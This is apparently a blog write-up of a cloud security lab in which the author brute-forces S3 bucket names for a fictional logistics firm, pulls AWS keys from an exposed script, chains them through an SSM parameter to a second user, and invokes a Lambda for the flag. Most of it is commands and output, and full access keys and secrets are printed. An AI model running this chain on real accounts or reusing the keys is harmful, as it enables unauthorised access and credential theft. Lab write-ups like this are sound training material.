All Computers Are Broken


AWS S3 Bucket Brute Force to Breach

Scenario

Huge Logistics, a global powerhouse, has enlisted your expertise to evaluate their cloud security measures. During your preliminary scans, an S3 bucket titled hlogistics-web caught your attention. Your mission is to use knowledge of the naming convention to access other S3 buckets, and pivot to other cloud services if possible.

Entry Point

hlogistics-web

Solution

The bucket hlogistics-web allows unauthenticated read access. Browsing it reveals that it contains a HTML file. The HTML file contains a website which references other buckets named hlogistics-staticfiles and hlogistics-images.

The challenge description mentions a naming convention for buckets. Knowing this, I create a copy of the raft-large-words.txt wordlist and prepend hlogistics- to each row.

I use s3scanner to enumerate additional buckets.

$ s3scanner -bucket-file raft-large-words.txt | grep exists
level=info msg="exists    | hlogistics-images | eu-west-2 | AuthUsers: [] | AllUsers: [READ]"
level=info msg="exists    | hlogistics-web | eu-west-2 | AuthUsers: [] | AllUsers: [READ]"
level=info msg="exists    | hlogistics-beta | eu-west-2 | AuthUsers: [] | AllUsers: [READ]"

Scanning for other buckets reveals that there is a bucket named hlogistics-beta. This bucket contains a Python script which can be downloaded.

$ aws s3 cp s3://hlogistics-beta/SystemTrackingPackagesTest.py . --no-sign-request
download: s3://hlogistics-beta/SystemTrackingPackagesTest.py to ./SystemTrackingPackagesTest.py

$ cat SystemTrackingPackagesTest.py
import sqlite3
import os
import boto3
import json

# Retrieve AWS credentials from environment variables
aws_access_key_id = 'AKIATRPHKUQKXBHDBLO7'
aws_secret_access_key = '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'
aws_region = 'eu-west-2'

# Set up AWS Lambda client
lambda_client = boto3.client('lambda', region_name=aws_region,
                             aws_access_key_id=aws_access_key_id,
                             aws_secret_access_key=aws_secret_access_key)

class PackageTrackingSystem:
    def __init__(self):
        self.conn = sqlite3.connect('package_tracking.db')
        self.c = self.conn.cursor()

    def __del__(self):
        self.conn.close()

    def create_table(self):
        self.c.execute('''CREATE TABLE IF NOT EXISTS packages (
                         id INTEGER PRIMARY KEY AUTOINCREMENT,
                         tracking_id TEXT,
                         account_name TEXT,
                         contact_number TEXT,
                         destination TEXT,
                         pick_location TEXT)''')
        self.conn.commit()

    def add_package(self, tracking_id, account_name, contact_number, destination, pick_location):
        self.c.execute('''INSERT INTO packages (tracking_id, account_name, contact_number, destination, pick_location)
                          VALUES (?, ?, ?, ?, ?)''',
                      (tracking_id, account_name, contact_number, destination, pick_location))
        self.conn.commit()

    def get_all_packages(self):
        self.c.execute('''SELECT * FROM packages''')
        return self.c.fetchall()

    def update_package(self, package_id, **kwargs):
        update_query = 'UPDATE packages SET ' + ', '.join([f'{key}=?' for key in kwargs.keys()]) + ' WHERE id=?'
        update_values = list(kwargs.values()) + [package_id]
        self.c.execute(update_query, update_values)
        self.conn.commit()

    def delete_package(self, package_id):
        self.c.execute('DELETE FROM packages WHERE id=?', (package_id,))
        self.conn.commit()

    def invoke_lambda(self, tracking_id, account_name):
        payload = json.dumps({"tracking_id": tracking_id, "account_name": account_name})
        response = lambda_client.invoke(
            FunctionName="PackageTrackerLambda",
            InvocationType="Event",
            Payload=payload
        )
        print(f"Package '{tracking_id}' information processed and Lambda invoked.")

if __name__ == "__main__":
    tracking_system = PackageTrackingSystem()

    tracking_system.create_table()

    tracking_system.add_package('ABC123', 'John Doe', '123-456-7890', 'New York', 'Warehouse A')
    tracking_system.add_package('XYZ456', 'Jane Smith', '987-654-3210', 'Los Angeles', 'Warehouse B')
    tracking_system.add_package('DEF789', 'Bob Johnson', '555-123-4567', 'Chicago', 'Warehouse C')

    packages = tracking_system.get_all_packages()
    print("All Packages:")
    for package in packages:
        print(package)

    tracking_system.update_package(2, destination='Seattle', pick_location='Warehouse D')

    updated_packages = tracking_system.get_all_packages()
    print("\nUpdated Packages:")
    for package in updated_packages:
        print(package)

    tracking_system.delete_package(1)

    remaining_packages = tracking_system.get_all_packages()
    print("\nRemaining Packages:")
    for package in remaining_packages:
        print(package)

    # Invoking Lambda for a package
    tracking_system.invoke_lambda('XYZ456', 'Jane Smith')

The script contains AWS credentials. These credentials belong to the user ecollins.

$ aws sts get-caller-identity
{
    "UserId": "AIDATRPHKUQK3U6DLVPIY",
    "Account": "243687662613",
    "Arn": "arn:aws:iam::243687662613:user/ecollins"
}

Knowing this user, I can try to list all inline policies of this user.

$ aws iam list-user-policies --user-name ecollins
{
    "PolicyNames": [
        "SSM_Parameter"
    ]
}

To get the content of the inline policy the following command can be used.

$ aws iam get-user-policy --user-name ecollins --policy-name SSM_Parameter
{
    "UserName": "ecollins",
    "PolicyName": "SSM_Parameter",
    "PolicyDocument": {
        "Version": "2012-10-17",
        "Statement": [
            {
                "Effect": "Allow",
                "Action": [
                    "ssm:GetParameter",
                    "ssm:DescribeParameters"
                ],
                "Resource": "arn:aws:ssm:eu-west-2:243687662613:parameter/lharris"
            }
        ]
    }
}

The inline policy specifies that the user can get the parameter lharris in the eu-west-2 region. It is important to note and later specify the region as the aws cli command aws ssm get-parameter will use the default region otherwise.

$ aws ssm get-parameter --name lharris

An error occurred (AccessDeniedException) when calling the GetParameter operation: User: arn:aws:iam::243687662613:user/ecollins is not authorized to perform: ssm:GetParameter on resource: arn:aws:ssm:eu-central-1:243687662613:parameter/lharris because no identity-based policy allows the ssm:GetParameter action

As can be seen, if no region is passed, the AWS cli will construct an ARN for the parameter that contains the default region. This could lead to an exception due to missing permissions or due to the parameter not being available in the region.

$ aws ssm get-parameter --name lharris --region eu-west-2
{
    "Parameter": {
        "Name": "lharris",
        "Type": "StringList",
        "Value": "AKIATRPHKUQK7PLPPVRR,Cd3XasHrvc6szJmU9b/Imzc+MXQJf/drqCKfSWFj",
        "Version": 1,
        "LastModifiedDate": "2023-08-20T20:50:43.250000+02:00",
        "ARN": "arn:aws:ssm:eu-west-2:243687662613:parameter/lharris",
        "DataType": "text"
    }
}

The parameter contains an access key and a secret access key. These credentials can be used to get access as user lharris.

$ export AWS_ACCESS_KEY_ID=AKIATRPHKUQK7PLPPVRR

$ export AWS_SECRET_ACCESS_KEY=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

$ aws sts get-caller-identity
{
    "UserId": "AIDATRPHKUQK46UGVDBGN",
    "Account": "243687662613",
    "Arn": "arn:aws:iam::243687662613:user/lharris"
}

The next thing to do is to enumerate the permissions of the user.

$ ~/sec/thebigiamchallenge/level6/enumerate-iam/enumerate-iam.py --access-key AKIATRPHKUQK7PLPPVRR --secret-key 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
2024-07-17 11:39:12,292 - 45985 - [INFO] Starting permission enumeration for access-key-id "AKIATRPHKUQK7PLPPVRR"
2024-07-17 11:39:13,508 - 45985 - [INFO] -- Account ARN : arn:aws:iam::243687662613:user/lharris
2024-07-17 11:39:13,508 - 45985 - [INFO] -- Account Id  : 243687662613
2024-07-17 11:39:13,508 - 45985 - [INFO] -- Account Path: user/lharris
2024-07-17 11:39:13,714 - 45985 - [INFO] Attempting common-service describe / list brute force.
2024-07-17 11:39:13,931 - 45985 - [ERROR] Remove codedeploy.get_deployment_target action
2024-07-17 11:39:13,931 - 45985 - [ERROR] Remove codedeploy.batch_get_deployment_targets action
2024-07-17 11:39:15,947 - 45985 - [ERROR] Remove codedeploy.list_deployment_targets action
2024-07-17 11:39:23,628 - 45985 - [INFO] -- sts.get_session_token() worked!
2024-07-17 11:39:23,763 - 45985 - [INFO] -- sts.get_caller_identity() worked!
2024-07-17 11:39:24,481 - 45985 - [INFO] -- dynamodb.describe_endpoints() worked!
2024-07-17 11:39:25,221 - 45985 - [INFO] -- lambda.list_functions() worked!
2024-07-17 11:39:25,635 - 45985 - [INFO] -- lambda.list_functions() worked!
^C
2024-07-17 11:50:09,676 - 45985 - [INFO] Ctrl+C received, stopping all threads.
2024-07-17 11:50:09,676 - 45985 - [INFO] Hit Ctrl+C again to force exit.

The user is allowed to list lambda functions.

$ aws lambda list-functions --region eu-west-2
{
    "Functions": [
        {
            "FunctionName": "crew_administration_data",
            "FunctionArn": "arn:aws:lambda:eu-west-2:243687662613:function:crew_administration_data",
            "Runtime": "python3.12",
            "Role": "arn:aws:iam::243687662613:role/lambda-empty-role",
            "Handler": "index.lambda_handler",
            "CodeSize": 18968,
            "Description": "",
            "Timeout": 3,
            "MemorySize": 128,
            "LastModified": "2024-04-22T20:56:01.000+0000",
            "CodeSha256": "RPCuNGeiPPknudz6i0jDNx4S017TS5MfmZ/pcIFG7tk=",
            "Version": "$LATEST",
            "TracingConfig": {
                "Mode": "PassThrough"
            },
            "RevisionId": "26a3c0f2-0e8c-406c-a11e-eb05674df409",
            "PackageType": "Zip",
            "Architectures": [
                "x86_64"
            ],
            "EphemeralStorage": {
                "Size": 512
            },
            "SnapStart": {
                "ApplyOn": "None",
                "OptimizationStatus": "Off"
            },
            "LoggingConfig": {
                "LogFormat": "Text",
                "LogGroup": "/aws/lambda/crew_administration_data"
            }
        }
    ]
}

I am not able to get any additional information about the Lambda function. However, I am able to execute the function.

$ aws lambda invoke --function-name crew_administration_data --region eu-west-2 foo.txt
{
    "StatusCode": 200,
    "ExecutedVersion": "$LATEST"
}

The output of the function is available in the file foo.txt. Looking through this file, I find the flag.

The flag is 797f9edff5cbdaca5d0902030b7bcfe8

ImprintPrivacy Policy